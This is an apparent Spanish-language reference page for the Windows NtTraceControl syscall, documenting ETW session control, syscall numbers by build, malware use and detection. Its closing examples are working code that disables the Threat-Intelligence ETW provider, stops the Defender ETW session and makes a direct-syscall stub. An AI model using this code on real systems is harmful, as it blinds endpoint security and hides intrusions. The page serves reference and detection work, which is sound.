NtTraceControl
IOCTL de control multiplexado del subsistema ETW — iniciar, detener, consultar, vaciar sesiones y activar/desactivar providers.
Prototipo
NTSTATUS NtTraceControl( ULONG FunctionCode, PVOID InBuffer, ULONG InBufferLen, PVOID OutBuffer, ULONG OutBufferLen, PULONG ReturnLength );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| FunctionCode | ULONG | in | Selector EtwpControlCode: 1=Start, 2=Stop, 3=Query, 4=Update, 5=Flush, 7=EnableTraceProvider, 13=QueryAllTraces, etc. |
| InBuffer | PVOID | in | Entrada específica de la función — típicamente un EVENT_TRACE_PROPERTIES o ETW_ENABLE_NOTIFICATION_PACKET. |
| InBufferLen | ULONG | in | Tamaño de InBuffer en bytes. |
| OutBuffer | PVOID | out | Búfer de salida específico de la función; para Query devuelve un EVENT_TRACE_PROPERTIES actualizado con estadísticas. |
| OutBufferLen | ULONG | in | Capacidad de OutBuffer en bytes. |
| ReturnLength | PULONG | out | Recibe el número de bytes realmente escritos en OutBuffer. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x1A6 | win10-1507 |
| Win10 1607 | 0x1AF | win10-1607 |
| Win10 1703 | 0x1B5 | win10-1703 |
| Win10 1709 | 0x1B9 | win10-1709 |
| Win10 1803 | 0x1BB | win10-1803 |
| Win10 1809 | 0x1BC | win10-1809 |
| Win10 1903 | 0x1BD | win10-1903 |
| Win10 1909 | 0x1BD | win10-1909 |
| Win10 2004 | 0x1C3 | win10-2004 |
| Win10 20H2 | 0x1C3 | win10-20h2 |
| Win10 21H1 | 0x1C3 | win10-21h1 |
| Win10 21H2 | 0x1C5 | win10-21h2 |
| Win10 22H2 | 0x1C5 | win10-22h2 |
| Win11 21H2 | 0x1CF | win11-21h2 |
| Win11 22H2 | 0x1D3 | win11-22h2 |
| Win11 23H2 | 0x1D3 | win11-23h2 |
| Win11 24H2 | 0x1D6 | win11-24h2 |
| Server 2016 | 0x1AF | winserver-2016 |
| Server 2019 | 0x1BC | winserver-2019 |
| Server 2022 | 0x1CB | winserver-2022 |
| Server 2025 | 0x1D6 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 D6 01 00 00 mov eax, 0x1D6 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
Toda la *superficie de control* ETW de user-mode descansa sobre `NtTraceControl`. `StartTrace`, `StopTrace`, `ControlTraceW`, `QueryTrace`, `FlushTrace`, `EnableTraceEx2`, `EnumerateTraceGuidsEx` — todos empaquetan un `EVENT_TRACE_PROPERTIES` (o uno de ~30 paquetes de control internos) y despachan a este único syscall, con `FunctionCode` seleccionando la operación. El handler de kernel `EtwpControlTrace` valida contra `SeSystemProfilePrivilege` / `SeDebugPrivilege` para operaciones sensibles y contra el descriptor de seguridad `EtwGuid` para controles a nivel provider. La función 7 (`EnableTraceProvider`) es la que activa/desactiva providers dentro de una sesión existente — y la que les importa a los atacantes. El SSN deriva aproximadamente cada release de Windows, así que cualquier número hardcodeado se rompe entre builds; `0x1D6` en Win11 24H2 / Server 2025.
Uso común por malware
**La principal superficie de bypass de ETW.** El parche ETW user-mode de manual (sobrescribir el primer byte de `ntdll!EtwEventWrite` con `0xC3`) solo ciega al *proceso actual*. Los defensores que quieren telemetría de todo el sistema — notablemente el provider `Microsoft-Windows-Threat-Intelligence` usado por EDR — la recolectan desde una sesión a nivel sistema. Para silenciarla, los atacantes recurren a `NtTraceControl` con `FunctionCode=7` (`EtwpEnableTraceProvider`) y `EnableState=0` para *desactivar* el provider en la propia sesión del EDR, o `FunctionCode=2` (`EtwpStopTrace`) para tumbar la sesión por completo. **Cobalt Strike**, **Brute Ratel C4**, **Havoc**, **Nighthawk** y las herramientas open-source **SharpEtwBypass** / **TamperETW** incluyen variantes de esto. Las contrapartes kernel-mode (rootkit Lazarus **FudModule**) lo logran poniendo a cero `EtwThreatIntProvRegHandle` directamente — una primitiva diferente que evita por completo `NtTraceControl` pero produce el mismo apagón. Desactivar una sesión también requiere que el proceso llamante o sea dueño de la sesión o posea `SeSystemProfilePrivilege` / nivel de confianza TrustedInstaller, por lo que la mayoría de cadenas pivotan primero por un payload en contexto SYSTEM.
Oportunidades de detección
Los AV basados en hooks no pueden ver esto — por definición el atacante está deshabilitando la telemetría. La detección del lado kernel consiste en *no depender de que la sesión esté viva*: registrar un segundo consumidor ETW Threat-Intelligence redundante desde un driver kernel (los drivers EDR PPL lo hacen), o usar el provider `Microsoft-Windows-Kernel-EventTracing`, que loguea eventos administrativos (4 = SessionStop, 12 = TraceConfigChange) hacia sí mismo. Vigile cualquier proceso no firmado por Microsoft invocando `ControlTraceW` contra nombres de sesión EDR bien conocidos (`DefenderApiLogger`, `EventLog-Security`, `MS_Mon_*`, específicos del vendor). En Server 2022+ el sensor Windows Defender for Endpoint loguea directamente la manipulación de sesión ETW como una alerta. A nivel kernel, `EtwThreatIntProvRegHandle == NULL` cuando el sistema supuestamente corre con logging TI habilitado es el smoking gun para la variante BYOVD.
Ejemplos de syscalls directos
cDisable Threat-Intelligence provider in a target session
// Disable Microsoft-Windows-Threat-Intelligence (GUID {f4e1897c-bb5d-5668-f1d8-040f4d8dd344})
// inside an existing logger session. Requires SeSystemProfilePrivilege or session ownership.
#include <windows.h>
#include <evntrace.h>
static const GUID kThreatIntel =
{ 0xf4e1897c, 0xbb5d, 0x5668, { 0xf1,0xd8,0x04,0x0f,0x4d,0x8d,0xd3,0x44 } };
void disable_ti_in_session(TRACEHANDLE hSession) {
ENABLE_TRACE_PARAMETERS p = { 0 };
p.Version = ENABLE_TRACE_PARAMETERS_VERSION_2;
EnableTraceEx2(
hSession,
&kThreatIntel,
EVENT_CONTROL_CODE_DISABLE_PROVIDER, // -> NtTraceControl FunctionCode=7, EnableState=0
TRACE_LEVEL_NONE,
0, 0, 0, &p);
}cStop a named EDR session outright
// Tears the whole session down — EtwpStopTrace via NtTraceControl FunctionCode=2.
BYTE buf[sizeof(EVENT_TRACE_PROPERTIES) + 1024] = { 0 };
EVENT_TRACE_PROPERTIES* props = (EVENT_TRACE_PROPERTIES*)buf;
props->Wnode.BufferSize = sizeof(buf);
props->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
ULONG st = ControlTraceW(
0,
L"DefenderApiLogger", // typical Microsoft Defender ETW session
props,
EVENT_TRACE_CONTROL_STOP);asmx64 direct stub (Win11 24H2 / Server 2025, SSN 0x1D6)
; The SSN drifts per build — resolve dynamically with Halo's Gate for portability.
NtTraceControl PROC
mov r10, rcx
mov eax, 1D6h
syscall
ret
NtTraceControl ENDPMapeos MITRE ATT&CK
Last verified: 2026-05-20